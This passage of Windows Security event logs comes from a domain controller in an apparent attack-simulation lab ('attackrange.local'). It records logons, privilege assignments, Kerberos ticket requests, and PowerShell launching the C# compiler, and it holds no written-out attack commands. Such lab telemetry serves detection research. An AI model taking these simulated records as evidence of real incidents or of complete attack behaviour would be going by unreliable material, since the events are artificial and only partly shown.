Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250601
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11046E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1104
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1308
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\2qehzyd4\2qehzyd4.cmdline"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250600
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11046E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1150
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe08
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RESBD70.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSC83F8B1F83E2C4E719DF51FF2FB86F7E2.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250599
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x114301

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250598
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x114301
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{518DECA3-8B9F-744F-0C93-FDB4F1CFF899}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250597
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{518DECA3-8B9F-744F-0C93-FDB4F1CFF899}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250596
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{518DECA3-8B9F-744F-0C93-FDB4F1CFF899}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250595
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250594
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11046E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe08
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1308
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\rflm1nxn.cmdline"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250593
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x113F2C

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250592
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x113F2C
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{516F09E8-915A-EEAE-06B7-D42FEBA6FC38}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		64464

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250591
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x113F2C

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250590
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x113ED6

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250589
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x113ED6
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{516F09E8-915A-EEAE-06B7-D42FEBA6FC38}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		64463

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250588
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x113ED6

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250587
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x113E84

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250586
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x113E84
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64462

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250585
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x113E84

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250584
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x113E23

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250583
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x113E23
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64461

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250582
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x113E23

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250581
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x113DBD

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250580
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x113DBD
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64460

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250579
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x113DBD

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250578
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x113D5C

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250577
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x113D5C
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64459

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250576
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x113D5C

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
